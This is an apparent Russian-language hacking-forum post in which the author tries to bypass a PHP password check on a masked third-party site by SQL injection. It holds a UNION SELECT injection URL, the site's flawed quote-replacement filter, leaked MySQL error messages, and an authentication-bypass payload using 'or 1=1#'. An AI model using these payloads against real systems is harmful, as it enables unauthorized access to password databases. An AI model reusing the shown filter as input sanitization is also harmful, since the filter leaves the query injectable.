ANTICHAT — форум по информационной безопасности, OSINT и технологиям

http://www.*********.ru/index.php?id=23665+and+1=0+union+select+1,2,3,4,5,6,7,8,9,0,11,12,13,14,15,16,17,18,19,00,21,23,23--

<?
// Начало скрипта
...
// Скрипт получает переменную из формы, допустим <input name="pass" type="password">
$pass = $_POST['pass'];

// Здесь идет проверка/заменна символов у переменной $pass, допустим определим проверку функцией:
function ReRe($re) {
	$re = preg_replace("/'/", "\\", $re);
	$re = preg_replace("/\"/", "\\", $re);
	$re = preg_replace("/</", "", $re);
	$re = preg_replace("/>/", "", $re);
	$re = preg_replace("/\//", "", $re);
	$re = preg_replace("/:/", "", $re);
	$re = preg_replace("/\./", "", $re);
	
	return $re;
	}

// Дальше скрипт выполняет запрос к БД, и вот его у меня нету
...
// Конец скрипта
?>

SELECT * FROM passwords where (pwd = '$pass' or pwd = '$pass' or pwd = '$pass')  and dateend>='1235374244'

MySQL Error!
------------------------

The Error returned was:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\' or pwd = '\') and dateend>='1235374381'' at line 1

Error Number:
1064 
SELECT * FROM passwords where (pwd = '\' or pwd = '\' or pwd = '\')  and dateend>='1235374381'

SELECT * FROM passwords where (pwd = 'pass') or 1=1#\' or pwd = 'pass')' or pwd = 'pass') ')  and dateend>='1235374814'

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'pass')' or pwd = 'pass') ') and dateend>='1235374941'' at line 1